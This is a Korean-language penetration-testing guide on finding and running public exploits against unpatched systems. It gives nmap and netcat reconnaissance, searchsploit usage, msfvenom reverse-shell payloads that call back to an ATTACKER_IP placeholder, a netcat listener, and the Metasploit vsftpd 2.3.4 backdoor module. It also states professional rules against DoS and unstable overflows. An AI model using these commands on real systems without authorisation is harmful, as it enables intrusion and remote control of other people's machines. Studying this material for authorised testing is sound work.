Skip to main content

Public Exploits (공개 익스플로잇) 취약점 진단

Overview​

Public Exploits: 알려진 취약점(CVE)에 대해 공개된 개념증명(PoC) 및 익스플로잇 코드. 오래된 시스템이나 패치가 적용되지 않은 대상 시스템을 진단할 때 효과적으로 사용됨.

  • 주의사항: (현업 화이트해커 필수 원칙)
    • 타겟 가용성을 해치는 공격(DoS, 서비스 다운을 유발할 수 있는 불안정한 Buffer Overflow 등)은 절대 금지
    • 공격 전후 상태를 동일하게 유지 (모든 생성 파일 삭제 및 문서화)

1. Reconnaissance (취약점 정보 수집)​

서비스 버전 및 정보 스캔​

익스플로잇 검색의 기준이 되는 정확한 서비스 및 버전 정보 획득

# Nmap 상세 서비스 스캔
nmap -sV -p <PORT> <TARGET_IP>

# 직접 배너 그래빙
nc -nv <TARGET_IP> <PORT>

CVE 및 취약점 데이터베이스 검색​

검색 예시: Apache 2.4.49 CVE, vsftpd 2.3.4 vulnerabilities


2. Exploitation (익스플로잇 검색 및 실행)​

Searchsploit 활용 (Kali Linux 내장)​

Exploit-DB 오프라인 데이터베이스를 활용한 익스플로잇 검색

# 기본 검색
searchsploit <SERVICE> <VERSION>
searchsploit apache 2.4.49

# 대소문자 무시 검색
searchsploit -i apache

# 상세 정보 확인
searchsploit -x <EXPLOIT_ID>

# 현재 경로로 익스플로잇 복사
searchsploit -m <EXPLOIT_ID>

페이로드(Payload) 준비​

msfvenom을 사용하여 대상 시스템 아키텍처에 맞는 리버스 쉘 생성

# [Linux] ELF 형식 리버스 쉘
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<PORT> -f elf -o shell.elf

# [Windows] EXE 형식 리버스 쉘
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<PORT> -f exe -o shell.exe

# Base64 인코딩을 통한 전송 준비 (파일 전송이 어려울 때)
cat shell.elf | base64 -w 0 > shell.b64

익스플로잇 수정 및 실행​

다운로드한 익스플로잇(파이썬 등)의 IP, 포트, 페이로드를 수정 후 실행

# 1. 공격자 환경 리스너 실행
nc -lvnp 4444

# 2. 익스플로잇 스크립트 실행
python3 exploit.py <TARGET_IP>

Metasploit Framework 활용​

자동화된 익스플로잇 모듈 사용 (가용성 저하 모듈 주의)

msfconsole
msf> search <SERVICE>
msf> use exploit/unix/ftp/vsftpd_234_backdoor
msf> set RHOST <TARGET_IP>
msf> set LHOST <ATTACKER_IP>
msf> exploit

3. Advanced Techniques (현업 실무 가이드)​

익스플로잇 종류별 사용 가이드 (가용성 최우선)​

공격 종류권장 여부실무 유의사항
Information Disclosure사용패스워드, 설정 파일 등 정보 유출
Authentication Bypass사용인증 우회를 통한 관리자 권한 획득
Remote Code Execution (RCE)사용웹 쉘 또는 리버스 쉘 획득 목적으로 신중히 사용
Buffer Overflow (BoF)금지/주의메모리 손상으로 인한 서비스 중단(BSOD/Crash) 위험이 매우 높으므로 현업 진단 시 사용 금지
Denial of Service (DoS)절대 금지대상의 가용성을 직접적으로 파괴하므로 사용 금지

익스플로잇 코드 검증 (안전성 확보)​

GitHub 등에서 다운로드한 PoC 코드는 반드시 내용을 읽고 악의적 행위나 DoS 코드가 없는지 확인해야 함.

  1. 타겟 지정 로직 확인: 의도치 않은 서브넷 전체 공격 방지
  2. 명령어 실행 로직 확인: rm -rf, 과도한 메모리 할당(Crash 유발) 등 위험 요소 체크
  3. 가상 환경 테스트: 가능하다면 동일한 버전의 가상 서버를 구성하여 사전 테스트 후 고객사에 적용